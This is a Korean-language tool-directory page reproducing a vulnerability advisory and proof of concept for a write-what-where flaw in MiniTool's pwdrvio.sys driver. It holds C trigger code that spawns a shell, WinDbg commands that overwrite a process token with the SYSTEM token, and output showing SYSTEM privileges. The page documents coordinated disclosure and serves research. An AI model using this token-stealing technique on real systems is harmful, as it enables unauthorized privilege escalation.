Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-36981-Kernel-EoP-PoC — 프로젝트 날짜: 2026년 2월 / MiniTool의 커널 드라이버 내 메모리 손상 취약점. 권한 상승으로 활용될 수 있는 디버거 지원 임의 커널 쓰기 프리미티브를 시연합니다. | Kitploit
도구/GitHubGitHub/canomer/cve-2026-36981-kernel-eop-poc
Privilege EscalationVulnerability AnalysisExploitationDebuggersFuzzingMalware AnalysisBinary Exploitation
GitHubcanomer/cve-2026-36981-kernel-eop-poc

CVE-2026-36981-Kernel-EoP-PoC

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

프로젝트 날짜: 2026년 2월 / MiniTool의 커널 드라이버 내 메모리 손상 취약점. 권한 상승으로 활용될 수 있는 디버거 지원 임의 커널 쓰기 프리미티브를 시연합니다.

저장소 보기
23개월 전아직 검토되지 않음

CVE-2026-36981-Kernel-EoP-PoC

MiniTool의 pwdrvio.sys 커널 드라이버 내 커널 write-what-where 조건. 권한 상승으로 활용될 수 있는 디버거 지원 임의 커널 쓰기 프리미티브를 시연합니다.

  • 2026-02-09 공급업체에 통보
  • 2026-03-05 공급업체가 확인
  • 2026-03-05 MITRE에 CVE 요청
  • 2026-05-10 90일 조정 공개 기간 후 공개

https://github.com/user-attachments/assets/ac81d7ce-0be7-40a5-9334-c54350e6e30e

임의 커널 쓰기 → 로컬 권한 상승(LPE) 심각도: 높음(HIGH)
CVSS 3.1 점수: 7.8 (LPE) CVSS 벡터 문자열:

  • LPE: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

    • 권한 상승으로 활용될 수 있는 디버거 지원 임의 커널 쓰기 프리미티브.
    • 드라이버 오프셋 0x1641의 write-what-where 프리미티브를 통해 악용 가능
    • 안정적인 악용을 위해 커널 디버깅 도구 필요
    • Windows 10 빌드 19045.6466에서 확인됨

공격 전제 조건:

  • 대상 시스템에 대한 로컬 액세스
  • 표준 사용자 계정(비관리자)
  • MiniTool 설치 또는 제거됨(pwdrvio.sys 드라이버 로드됨)

악용 결과: LPE - 디버거 지원 권한 상승 시연(NT AUTHORITY / SYSTEM), 완전한 시스템 장악

취약점 발견 타임라인

초기 퍼징 및 BSOD 발견

날짜: 2026년 2월 5일
활동: 사용자 정의 Python 퍼저를 사용한 체계적인 커널 드라이버 퍼징

발견 과정:

  1. 대상 선택:

    • Windows 10 VM에서 설치된 커널 드라이버 열거
    • pwdrvio.sys를 가장 오래된 드라이버로 식별(타임스탬프: 2009년 6월 16일)
    • 드라이버 파일: C:\Windows\System32\drivers\pwdrvio.sys
    • 디바이스 객체: \\.\PartitionWizardDiskAccesser\0
  2. 초기 퍼징:

    • 드라이버와 인터페이스하기 위해 ctypes를 사용한 Python 퍼저 개발
    • 드라이버 디바이스에 WriteFile/DeviceIoControl을 통해 무작위 데이터 전송
    • 결과: 다수의 블루 스크린 오브 데스(BSOD)
  3. 검증기 활성화:

    • 향상된 크래시 감지를 위해 드라이버 검증기(Driver Verifier) 활성화 ```cmd verifier /standard /driver pwdrvio.sys
    root@kitploit:~

검증기 구성: ``` Verifier Flags: 0x001209bb Standard Flags Enabled: [X] Special pool [X] Force IRQL checking
[X] Pool tracking [X] I/O verification [X] Deadlock detection [X] DMA checking [X] Security checks [X] Miscellaneous checks [X] DDI compliance checking

root@kitploit:~
### WinDbg 커널 디버깅 설정
**날짜:** 2026년 2월 5-6일  
**활동:** 근본 원인 분석을 위한 커널 디버깅 환경 구축

**설정 절차:**

1. **VMware 직렬 포트 구성:**   ```
VMware Workstation Pro → VM Settings
├─ Add Hardware → Serial Port
├─ Connection: "Use named pipe"
├─ Path: \\.\pipe\com_1
├─ End: "This is the server"
└─ I/O Mode: "Yield CPU on poll" ✓
  1. 게스트 OS 구성: ```cmd REM Administrator Command Prompt bcdedit /debug on bcdedit /dbgsettings serial debugport:1 baudrate:115200 shutdown /r /t 0

    root@kitploit:~
  2. 호스트 WinDbg 연결: ``` WinDbg → File → Attach to Kernel ├─ Port: \.\pipe\com_1 ├─ Baud Rate: 115200 ├─ Pipe: ✓ └─ Reconnect: ✓

    Result: "Kernel Debugger connection established."

    root@kitploit:~

근본 원인 분석 - 임의 쓰기 발견

날짜: 2026년 2월 6일
활동: 임의 커널 쓰기 프리미티브 식별

분석 단계:

  1. 모듈 분석: ``` 1: kd> lm m pwdrvio start end module name fffff805315f0000 fffff805315f8000 pwdrvio (Jun 16 2009)

    1: kd> !drvobj pwdrvio 2 Driver object (fffff805`XXXXXXXX) is for: \Driver\pwdrvio

    DriverEntry: fffff805315f6008 DriverUnload: fffff805315f1060

    Dispatch Routines: [00] IRP_MJ_CREATE fffff805315f108c [02] IRP_MJ_CLOSE fffff805315f12f8 [03] IRP_MJ_READ fffff805315f16c4 [04] IRP_MJ_WRITE fffff805315f1564 ← Target [0e] IRP_MJ_DEVICE_CONTROL fffff805`315f1404

    root@kitploit:~
  2. 취약한 명령어 발견:

    쓰기 핸들러에 중단점 설정: ``` 1: kd> bp pwdrvio+0x1641 1: kd> g

    Breakpoint 0 hit pwdrvio+0x1641: fffff805`315f1641 498943f0 mov qword ptr [r11-10h],rax

    root@kitploit:~

중대한 발견: 임의 쓰기 프리미티브 식별됨!

  • 명령어가 커널 포인터(RAX)를 주소 [R11-0x10]에 기록함
  • R11은 스택 프레임에서 로드됨: mov r11, qword ptr [rbp+0xB8h]
  • 대상 주소에 대한 검증이 수행되지 않음
  1. 레지스터 상태 분석: ``` 0: kd> r rax=fffff805315f1364 ← Kernel code pointer r11=ffffe60f84c38750 ← Destination address (controlled via stack) rbp=ffffe60f84c38610 ← IRP stack frame

    0: kd> dq @rbp+0xB8 L1 ffffe60f84c386c8 ffffe60f84c38750 ← R11 loaded from here

    root@kitploit:~

UAF에서 임의 쓰기로의 분석

날짜: 2026년 2월 6-7일
활동: User-After-Free 취약점에서 write-what-where 조건까지 추적

메모리 손상 체인:

  1. IRP 할당: ``` 0: kd> !pool @rbp Pool page ffffe60f84c38610 region is Special pool *ffffe60f84c38000 size: 1f0 data: ffffe60f84c38e10 (NonPaged) *Irp+ Pooltag Irp+ : I/O verifier allocated IRP packets

    root@kitploit:~
  2. 버퍼 관계: ``` 0: kd> r rsi rsi=ffffe60f828df900 ← User buffer location

    0: kd> ? @rbp - @rsi Evaluate expression: 35823344 = 00000000`02229ef0 ← 35MB difference!

    root@kitploit:~

분석: 사용자 버퍼는 RBP 프레임에서 직접 접근할 수 없음

  • RBP는 커널 풀의 IRP 구조체를 가리킴
  • 사용자 버퍼는 다른 메모리 영역에 있음
  • RBP+0xB8 오프셋은 사용자 제어 버퍼를 가리키지 않음
  1. UAF(Use-After-Free) 조건:

    드라이버는 IRP 구조체에 댕글링 포인터를 유지함: ```c // Ghidra decompilation (pwdrvio+0x1564) longlong lVar1 = *(longlong *)(param_2 + 0xb8); // Load from IRP

    // No validation! lVar5 = IoBuildAsynchronousFsdRequest(...);

    // Write to [lVar1 - 0x10] *(code **)(lVar3 + -0x10) = FUN_00011364; // Arbitrary write!

    root@kitploit:~

로컬 권한 상승 개발

날짜: 2026년 2월 7-8일
활동: 토큰 스틸링 기법 개발

익스플로잇 전략:

목표: 현재 프로세스 토큰을 SYSTEM 토큰으로 덮어쓰기

Windows EPROCESS 구조:``` +0x000 Pcb : _KPROCESS ... +0x4b8 Token : _EX_FAST_REF ← Token pointer location

root@kitploit:~
**토큰 탈취 절차:**

1. **SYSTEM 프로세스 찾기:**   ```
   0: kd> !process 4 0
   PROCESS ffffe7875ac86200
       SessionId: none  Cid: 0004    Peb: 00000000
       Image: System
   
   0: kd> dq ffffe7875ac86200+4b8 L1
   ffffe787`5ac866b8  ffffc08e`6642f04f  ← SYSTEM token value
  1. 공격자 프로세스 찾기: ``` 0: kd> !process 0 0 poc1.exe PROCESS ffffe78760150080 SessionId: 1 Cid: 0678 Image: poc1.exe

    0: kd> dq ffffe78760150080+4b8 L1 ffffe78760150538 ffffc08e6c37a066 ← Standard user token

    root@kitploit:~
  2. 대상 주소 계산: ``` Target = TokenPointer + 0x10 = 0xffffe78760150538 + 0x10 = 0xffffe78760150548

    Reason: Instruction uses [R11-0x10], so: (Target + 0x10) - 0x10 = Target

    root@kitploit:~
  3. 토큰 덮어쓰기 수행: ``` 0: kd> r rax = ffffc08e6642f04f ; SYSTEM token 0: kd> r r11 = ffffe78760150548 ; Target address 0: kd> p ; Execute: mov [r11-10h],rax

    0: kd> dq ffffe78760150538 L1 ; Verify ffffe78760150538 ffffc08e6642f04f ← Token successfully changed!

    root@kitploit:~
  4. 실행 복원: ``` 0: kd> r rip = pwdrvio + 165f ; Skip to safe return 0: kd> r eax = 0 ; Return success 0: kd> bc * ; Clear breakpoints 0: kd> g ; Continue execution

    root@kitploit:~

결과: 프로세스에 이제 SYSTEM 권한이 있습니다!

취약점 #1: LPE로 이어지는 임의 커널 쓰기

CWE 분류

  • CWE-787: 경계를 벗어난 쓰기(Out-of-bounds Write)
  • CWE-123: Write-what-where 조건
  • CWE-782: 접근 제어가 불충분한 노출된 IOCTL

취약점 세부 정보

위치: pwdrvio.sys 오프셋 0x1641
어셈블리:```assembly pwdrvio+0x1633: mov r11, qword ptr [rbp+0xB8h] ; Load pointer from IRP pwdrvio+0x1641: mov qword ptr [r11-10h], rax ; Arbitrary write!

root@kitploit:~
**트리거 메커니즘:**```c
HANDLE hDevice = CreateFileA("\\\\.\\PartitionWizardDiskAccesser\\0",
                            GENERIC_READ | GENERIC_WRITE,
                            0, NULL, OPEN_EXISTING, 0, NULL);

char buffer[0x100];
DWORD bytesReturned;
WriteFile(hDevice, buffer, 0x100, &bytesReturned, NULL);

악용 제한 사항:

이 취약점은 안정적인 악용을 위해 커널 디버깅 도구가 필요합니다. 그 이유는 다음과 같습니다:

  1. 레지스터 제어 문제:

    • 대상 레지스터 R11은 [RBP+0xB8]에서 로드됨
    • RBP는 커널 풀의 IRP 스택 프레임을 가리킴
    • 사용자 버퍼는 다른 메모리 영역(35MB 이상 오프셋)에 위치
    • 사용자 버퍼에서 [RBP+0xB8]을 직접 제어할 수 없음
  2. 풀 메모리 레이아웃: ``` RBP (IRP frame): 0xffffe60f84c38610 User buffer: 0xffffe60f828df900 Difference: 35,823,344 bytes (35 MB)

    root@kitploit:~
  3. 필수 수동 개입:

    • 디버거를 통해 R11 레지스터를 대상 주소로 설정
    • RAX 레지스터를 SYSTEM 토큰 값으로 설정
    • 명령어 실행
    • 실행 흐름 복원

CVSS 3.1 점수: 7.8 (높음)

지표:

  • 공격 벡터(AV): 로컬 - 로컬 시스템 접근 필요
  • 공격 복잡성(AC): 낮음 - 특별한 조건 불필요
  • 필요 권한(PR): 낮음 - 표준 사용자로 충분
  • 사용자 상호작용(UI): 없음 - 사용자 상호작용 불필요
  • 범위(S): 변경 없음 - 동일한 보안 권한
  • 기밀성(C): 높음 - 전체 파일 시스템 접근
  • 무결성(I): 높음 - 완전한 시스템 수정
  • 가용성(A): 높음 - 시스템 충돌 또는 비활성화 가능

전체 코드 및 악용

코드:``` C #include <windows.h> #include <stdio.h>

int main() { HANDLE hDevice; DWORD bytesReturned; char buffer[0x100];

root@kitploit:~
printf("[*] MiniTool PoC Trigger...\n");
printf("[*] Current User: "); system("whoami");

// 1. Connect to the Driver
hDevice = CreateFileA("\\\\.\\PartitionWizardDiskAccesser\\0", 
                      GENERIC_READ | GENERIC_WRITE, 
                      0, NULL, OPEN_EXISTING, 0, NULL);

if (hDevice == INVALID_HANDLE_VALUE) {
    printf("[-] Cannot Open Driver! Error: %d\n", GetLastError());
    return 1;
}

printf("[+] Connected. WinDbg - BP 1641.\n");
printf("[!] WinDbg - Token Change - 'g'.\n");

getchar(); // Breakpoint of WinDbg

// 2. Trigger the Vulnerability (Sending Random Data to Driver)
WriteFile(hDevice, buffer, 0x100, &bytesReturned, NULL);

printf("[*] Completed. SYSTEM Shell Opening...\n");

// 3. If we token is changed - SYSTEM Shell
system("whoami && cmd.exe");

return 0;

}

root@kitploit:~
**컴파일 방법:**
* Linux의 MinGW```
┌──(PC㉿PC)-[/dir]
└─$ x86_64-w64-mingw32-gcc LPE_PoC.c -o LPE_PoC.exe -lntdll -static

WinDbg 프로세스:

  • 중단점이 트리거되었을 때``` 1: kd> bp pwdrvio+0x1641 1: kd> g Breakpoint 0 hit Unable to load image pwdrvio.sys, Win32 error 0n2 pwdrvio+0x1641: fffff805`315f1641 498943f0 mov qword ptr [r11-10h],rax 1: kd> !process 0 0 poc1.exe PROCESS ffff9d8f6401f080 SessionId: 1 Cid: 1948 Peb: 27a2a7000 ParentCid: 16ac DirBase: 1b2528000 ObjectTable: ffffc2093fb93140 HandleCount: 58. Image: poc1.exe

1: kd> dq ffff9d8f6401f080+4b8 L1 ffff9d8f6401f538 ffffc20940117738 1: kd> dq ffff9d8f6401f538 L1 ffff9d8f6401f538 ffffc20940117738 1: kd> !process 4 0 Searching for Process with Cid == 4 PROCESS ffff9d8f5f069040 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000 DirBase: 001aa000 ObjectTable: ffffc2093447ac40 HandleCount: 2517. Image: System

1: kd> dq ffff9d8f5f069040+4b8 L1 ffff9d8f5f0694f8 ffffc2093441d8df 1: kd> r rax = ffffc2093441d8df 1: kd> r r11 = ffff9d8f6401f538 + 10 1: kd> p pwdrvio+0x1645: fffff805315f1645 488d442440 lea rax,[rsp+40h] 1: kd> dq ffff9d8f6401f538 L1 ffff9d8f6401f538 ffffc209`3441d8df 1: kd> r rip = pwdrvio + 0x165f 1: kd> r eax = 0 1: kd> bc * 1: kd> g

root@kitploit:~
**터미널 출력:**``` PowerShell
PS C:\Users\standarduser\directory> whoami # Standard User Identification
PC\standarduser
PS C:\Users\standarduser\directory> whoami /priv # Standard User Privs

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                        State
============================= ================================== ========
SeShutdownPrivilege           Sistemi kapat                      Disabled
SeChangeNotifyPrivilege       Çapraz geçiş denetimini atla       Enabled
SeUndockPrivilege             Bilgisayarı takma biriminden çıkar Disabled
SeIncreaseWorkingSetPrivilege İşlem çalışma kümesini artır       Disabled
SeTimeZonePrivilege           Saat dilimini değiştir             Disabled

PS C:\Users\standarduser\directory> whoami /groups # Standard User Groups

GROUP INFORMATION
-----------------

Group Name                                                Type             SID          Attributes                      
========================================================= ================ ============ ==================================================
Everyone                                                  Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Yerel hesap ve Administrators grubunun üyesi Well-known group S-1-5-114    Group used for deny only        
BUILTIN\Administrators                                    Alias            S-1-5-32-544 Group used for deny only        
BUILTIN\Users                                             Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE                                  Well-known group S-1-5-4      Mandatory group, Enabled by default, Enabled group
KONSOL OTURUMU AÇMA                                       Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users                          Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization                            Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Yerel hesap                                  Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
LOCAL                                                     Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication                          Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Zorunlu Etiket\Orta Zorunlu Düzey                         Label            S-1-16-8192                                  
PS C:\Users\standarduser\directory>

PS C:\Users\standarduser\directory> .\poc1.exe # PoC Execution
[*] MiniTool PoC Tetikleyici Baslatiliyor...
[*] Mevcut Kullanici: desktop-usp1rvs\kali
[+] Surucu baglantisi basarili. WinDbg'da BP 1641 bekleyin.
[!] WinDbg'da Token'i degistirdikten sonra 'g' deyin.

[*] Islem tamamlandi. SYSTEM Shell acilmaya calisiliyor...
nt authority\system
Microsoft Windows [Version 10.0.19045.3803]
(c) Microsoft Corporation. Tüm hakları saklıdır.

C:\Users\standarduser\directory>whoami # Elevated User Identification
nt authority\system

C:\Users\standarduser\directory>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                                     State
========================================= =============================================================================== ========
SeCreateTokenPrivilege                    Belirteç nesnesi oluştur                                                        Disabled
SeAssignPrimaryTokenPrivilege             İşlem düzeyi belirtecini değiştir                                               Disabled
SeLockMemoryPrivilege                     Sayfaları bellekte kilitle                                                      Enabled
SeIncreaseQuotaPrivilege                  İşlem için bellek kotaları ayarla                                               Disabled
SeTcbPrivilege                            İşletim sisteminin parçası gibi davran                                          Enabled
SeSecurityPrivilege                       Denetimi ve güvenlik günlüğünü yönet                                            Disabled
SeTakeOwnershipPrivilege                  Dosyaların veya diğer nesnelerin sahipliğini al                                 Disabled
SeLoadDriverPrivilege                     Aygıt sürücüleri yükle ve kaldır                                                Disabled
SeSystemProfilePrivilege                  Sistem performansı profili oluştur                                              Enabled
SeSystemtimePrivilege                     Sistem saatini değiştir                                                         Disabled
SeProfileSingleProcessPrivilege           Tek işlem profili oluştur                                                       Enabled
SeIncreaseBasePriorityPrivilege           Zamanlama önceliğini artır                                                      Enabled
SeCreatePagefilePrivilege                 Disk belleği dosyası oluştur                                                    Enabled
SeCreatePermanentPrivilege                Kalıcı paylaşılan nesneler oluştur                                              Enabled
SeBackupPrivilege                         Dosya ve dizinleri yedekle                                                      Disabled
SeRestorePrivilege                        Dosya ve dizinleri geri yükle                                                   Disabled
SeShutdownPrivilege                       Sistemi kapat                                                                   Disabled
SeDebugPrivilege                          Programların hatalarını ayıkla                                                  Enabled
SeAuditPrivilege                          Güvenlik denetimleri oluştur                                                    Enabled
SeSystemEnvironmentPrivilege              Üretici yazılımı ortam değerlerini değiştir                                     Disabled
SeChangeNotifyPrivilege                   Çapraz geçiş denetimini atla                                                    Enabled
SeUndockPrivilege                         Bilgisayarı takma biriminden çıkar                                              Disabled
SeManageVolumePrivilege                   Birim bakım görevleri gerçekleştir                                              Disabled
SeImpersonatePrivilege                    Kimlik doğrulamasından sonra istemcinin özelliklerini al                        Enabled
SeCreateGlobalPrivilege                   Genel nesneler oluştur                                                          Enabled
SeTrustedCredManAccessPrivilege           Kimlik Bilgileri Yöneticisi'ne güvenilen arayan olarak eriş                     Disabled
SeRelabelPrivilege                        Nesne etiketini değiştir                                                        Disabled
SeIncreaseWorkingSetPrivilege             İşlem çalışma kümesini artır                                                    Enabled
SeTimeZonePrivilege                       Saat dilimini değiştir                                                          Enabled
SeCreateSymbolicLinkPrivilege             Simgesel bağlantılar oluştur                                                    Enabled
SeDelegateSessionUserImpersonatePrivilege Aynı oturumdaki farklı bir kullanıcı için bir kimliğe bürünme belirteci edinin. Enabled

C:\Users\standarduser\directory>whoami /groups

GROUP INFORMATION
-----------------

Group Name                           Type             SID          Attributes
==================================== ================ ============ ==================================================
BUILTIN\Administrators               Alias            S-1-5-32-544 Enabled by default, Enabled group, Group owner
Everyone                             Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users     Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
Zorunlu Etiket\Sistem Zorunlu Düzeyi Label            S-1-16-16384

개념 증명 및 재현 절차

사전 요구 사항

테스트 환경:

  • 운영 체제: Windows 10 Home Build 19045.6466
  • 아키텍처: x64
  • MiniTool 버전: Partition Wizard 13.5
  • 드라이버: pwdrvio.sys (2009년 6월 16일자)
  • 사용자 계정: 표준 사용자(비관리자)

필요한 도구:

  • LPE용: WinDbg(Windows 디버거), VMware Workstation

재현 #2: 로컬 권한 상승(WinDbg 지원)

1단계: 커널 디버깅 환경 설정

A. VMware 구성

  1. VMware Workstation Pro에서 VM 설정 열기
  2. 하드웨어 추가 → 직렬 포트
  3. 구성:
    • 연결: "명명된 파이프 사용"
    • 명명된 파이프: \\.\pipe\com_1
    • 끝: "이쪽이 서버"
    • 다른 쪽 끝: "애플리케이션"
    • I/O 모드: ✓ 폴링 시 CPU 양보
  4. 저장 후 VM 시작

B. 게스트 OS 구성```cmd REM Administrator Command Prompt in VM C:> bcdedit /debug on The operation completed successfully.

C:> bcdedit /dbgsettings serial debugport:1 baudrate:115200 The operation completed successfully.

C:> bcdedit /dbgsettings debugtype Serial debugport 1 baudrate 115200

C:> shutdown /r /t 0

root@kitploit:~
**C. 호스트 WinDbg 설정**

1. WinDbg(x64)를 엽니다.
2. 파일 → 커널 디버그(Ctrl+K)
3. 구성:
   - 탭: COM
   - 포트: `\\.\pipe\com_1`
   - 전송 속도: 115200
   - ✓ 파이프
   - ✓ 다시 연결
4. 확인을 클릭합니다.

연결 메시지를 기다립니다:```
Opened \\.\pipe\com_1
Waiting to reconnect...
Connected to Windows 10 19041 x64 target
Kernel Debugger connection established.

1: kd>

2단계: 개념 증명 컴파일

lpe_poc.c로 저장하세요:```c #include <windows.h> #include <stdio.h>

int main() { HANDLE hDevice; DWORD bytesReturned; char buffer[0x100];

root@kitploit:~
printf("[*] MiniTool pwdrvio.sys LPE PoC\n");
printf("[*] Current user: ");
system("whoami");

// Open driver
hDevice = CreateFileA("\\\\.\\PartitionWizardDiskAccesser\\0", 
                      GENERIC_READ | GENERIC_WRITE, 
                      0, NULL, OPEN_EXISTING, 0, NULL);

if (hDevice == INVALID_HANDLE_VALUE) {
    printf("[-] Failed to open driver (Error: %d)\n", GetLastError());
    return 1;
}

printf("[+] Driver opened successfully\n");
printf("[!] Waiting for WinDbg manipulation...\n");
printf("[!] Set breakpoint: bp pwdrvio+0x1641\n");
printf("[!] Press ENTER when ready...\n");

getchar();  // Wait for WinDbg setup

// Trigger vulnerability
WriteFile(hDevice, buffer, 0x100, &bytesReturned, NULL);

printf("[*] Exploitation complete\n");
printf("[*] Spawning SYSTEM shell...\n");

// If successful, this CMD will have SYSTEM privileges
system("whoami && cmd.exe");

CloseHandle(hDevice);
return 0;

}

root@kitploit:~
**Linux/WSL에서 컴파일:**```bash
x86_64-w64-mingw32-gcc lpe_poc.c -o lpe_poc.exe -lntdll -static

3단계: 익스플로잇 실행

A. VM에서 PoC 시작 (표준 사용자)```cmd C:> whoami desktop-lfkkhu2\standard_user

C:> whoami /priv

PRIVILEGES INFORMATION

Privilege Name Description State ============================= ================================== ======== SeShutdownPrivilege Shut down the system Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeUndockPrivilege Remove computer from docking Disabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled

[Limited privileges - no SeDebugPrivilege]

C:> lpe_poc.exe [] MiniTool pwdrvio.sys LPE PoC [] Current user: desktop-lfkkhu2\standard_user [+] Driver opened successfully [!] Waiting for WinDbg manipulation... [!] Set breakpoint: bp pwdrvio+0x1641 [!] Press ENTER when ready...

[WAIT - Do not press ENTER yet]

root@kitploit:~
**B. WinDbg 설정 및 조작**```
1: kd> bp pwdrvio+0x1641
1: kd> g

이제 PoC에서 ENTER를 누르세요. WinDbg가 중단됩니다:``` Breakpoint 0 hit pwdrvio+0x1641: fffff802`18b11641 498943f0 mov qword ptr [r11-10h],rax

0: kd> r rax=fffff80218b11364 rbx=0000000000000000 rcx=ffffe78761218e20 rdx=ffffe7875ff72e10 rsi=ffffe7875dd48f20 rdi=0000000000000000 rip=fffff80218b11641 rsp=ffff9f801c707100 rbp=ffffe7875ff72e10 r8=0000000000000001 r9=0000000000000000 r10=0000000000000000 r11=ffffe7875ff72f70 r12=0000000000000001 r13=ffffdf0a0c48ecd0 r14=0000000000000000 r15=ffffe78761218e20

root@kitploit:~
**C. SYSTEM 프로세스 및 토큰 찾기**```
0: kd> !process 4 0
Searching for Process with Cid == 4
PROCESS ffffe7875ac86200
    SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 001aa000  ObjectTable: ffffc08e66444c80  HandleCount: 2471
    Image: System

0: kd> dq ffffe7875ac86200+4b8 L1
ffffe787`5ac866b8  ffffc08e`6642f04f  ← SYSTEM token value

D. 공격자 프로세스 찾기``` 0: kd> !process 0 0 lpe_poc.exe PROCESS ffffe78760150080 SessionId: 1 Cid: 0678 Peb: a520317000 ParentCid: 14b8 DirBase: 402a29000 ObjectTable: ffffc08e6beb0780 HandleCount: 58 Image: lpe_poc.exe

0: kd> dq ffffe78760150080+4b8 L1 ffffe78760150538 ffffc08e6c37a066 ← Current token (standard user)

root@kitploit:~
**E. 토큰 덮어쓰기 수행**```
0: kd> r rax = ffffc08e6642f04f
0: kd> r r11 = ffffe78760150538 + 10

0: kd> r r11
r11=ffffe78760150548

0: kd> p
pwdrvio+0x1645:
fffff802`18b11645 488d442440      lea rax,[rsp+40h]

0: kd> dq ffffe78760150538 L1
ffffe787`60150538  ffffc08e`6642f04f  ← Token successfully changed!

F. 실행 복원``` 0: kd> r rip = pwdrvio + 165f 0: kd> r eax = 0 0: kd> bc * 0: kd> g

root@kitploit:~
**C. VM에서 권한 상승 확인**```
[*] Exploitation complete
[*] Spawning SYSTEM shell...
nt authority\system

Microsoft Windows [Version 10.0.19045.6466]

C:\> whoami
nt authority\system

C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------
Privilege Name                            Description                          State
========================================= ==================================== ========
SeCreateTokenPrivilege                    Create a token object                Disabled
SeAssignPrimaryTokenPrivilege             Replace a process level token        Disabled
SeLockMemoryPrivilege                     Lock pages in memory                 Enabled
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process   Disabled
SeTcbPrivilege                            Act as part of the operating system  Enabled
SeSecurityPrivilege                       Manage auditing and security log     Disabled
SeTakeOwnershipPrivilege                  Take ownership of files/objects      Disabled
SeLoadDriverPrivilege                     Load and unload device drivers       Disabled
SeSystemProfilePrivilege                  Profile system performance           Enabled
SeSystemtimePrivilege                     Change the system time               Disabled
SeProfileSingleProcessPrivilege           Profile single process               Enabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority         Enabled
SeCreatePagefilePrivilege                 Create a pagefile                    Enabled
SeCreatePermanentPrivilege                Create permanent shared objects      Enabled
SeBackupPrivilege                         Back up files and directories        Disabled
SeRestorePrivilege                        Restore files and directories        Disabled
SeShutdownPrivilege                       Shut down the system                 Disabled
SeDebugPrivilege                          Debug programs                       Enabled  ← SYSTEM!
SeAuditPrivilege                          Generate security audits             Enabled
SeSystemEnvironmentPrivilege              Modify firmware environment values   Disabled
SeChangeNotifyPrivilege                   Bypass traverse checking             Enabled
SeUndockPrivilege                         Remove computer from docking         Disabled
SeManageVolumePrivilege                   Perform volume maintenance tasks     Disabled
SeImpersonatePrivilege                    Impersonate a client after auth      Enabled
SeCreateGlobalPrivilege                   Create global objects                Enabled
SeTrustedCredManAccessPrivilege           Access Credential Manager as trusted Disabled
SeRelabelPrivilege                        Modify an object label               Disabled
SeIncreaseWorkingSetPrivilege             Increase a process working set       Enabled
SeTimeZonePrivilege                       Change the time zone                 Enabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                Enabled
SeDelegateSessionUserImpersonatePrivilege Impersonate other session users      Enabled

C:\> whoami /groups

GROUP INFORMATION
-----------------
Group Name                           Type             SID          Attributes
==================================== ================ ============ =======================================
BUILTIN\Administrators               Alias            S-1-5-32-544 Enabled by default, Enabled, Owner
Everyone                             Well-known group S-1-1-0      Mandatory, Enabled by default, Enabled
NT AUTHORITY\Authenticated Users     Well-known group S-1-5-11     Mandatory, Enabled by default, Enabled
Mandatory Label\System Mandatory Level Label          S-1-16-16384 ← SYSTEM integrity!

MiniTool 소프트웨어:``` Product: MiniTool Partition Wizard Version: 13.5 Installation Path: C:\Program Files\MiniTool Partition Wizard Driver Path: C:\Windows\System32\drivers\pwdrvio.sys Driver Date: June 16, 2009 (0x4A36F8D1) Driver Size: 32,256 bytes

root@kitploit:~
**테스트 도구:**```
WinDbg Version:        10.0.29507.1001 AMD64
Python Version:        3.x with ctypes
Compiler:              x86_64-w64-mingw32-gcc (MinGW)
Verifier:              Windows Driver Verifier (Standard flags)

영향을 받는 버전

취약점 확인됨

주요 제품:

  • MiniTool Partition Wizard 13.5
  • pwdrvio.sys를 사용하는 모든 이전 버전

드라이버 세부 정보:``` File Name: pwdrvio.sys File Version: [Not available] File Size: 32,256 bytes (31.5 KB) Time Stamp: 0x4A36F8D1 (June 16, 2009, 04:43:45 UTC) Digital Signature: [Signed by vendor] Device Name: \.\PartitionWizardDiskAccesser\0 Service Name: pwdrvio Load Order: Boot Start (SERVICE_BOOT_START)

root@kitploit:~
### 잠재적 영향

동일한 드라이버를 사용할 수 있는 기타 MiniTool 제품:
- MiniTool Power Data Recovery
- MiniTool Partition Wizard Bootable Edition
- MiniTool ShadowMaker

**참고:** 각 제품은 확인을 위해 개별적으로 테스트해야 합니다.

### 운영 체제 호환성

**테스트 및 취약점 확인 완료:**
- Windows 10 Home Build 19045.6466 (x64)

**이유:** 드라이버는 모든 최신 Windows 버전과 호환되며 버전별 검사를 포함하지 않습니다.

## 법적 고지
이 저장소는 통제된 실험실 환경에서 교육, 방어적 보안 연구 및 취약점 재현 목적으로만 제공됩니다.
여기에 포함된 정보와 개념 증명 코드는 방어자, 연구자 및 공급업체가 보고된 취약점을 이해하고 해결하는 데 도움을 주기 위한 것입니다.
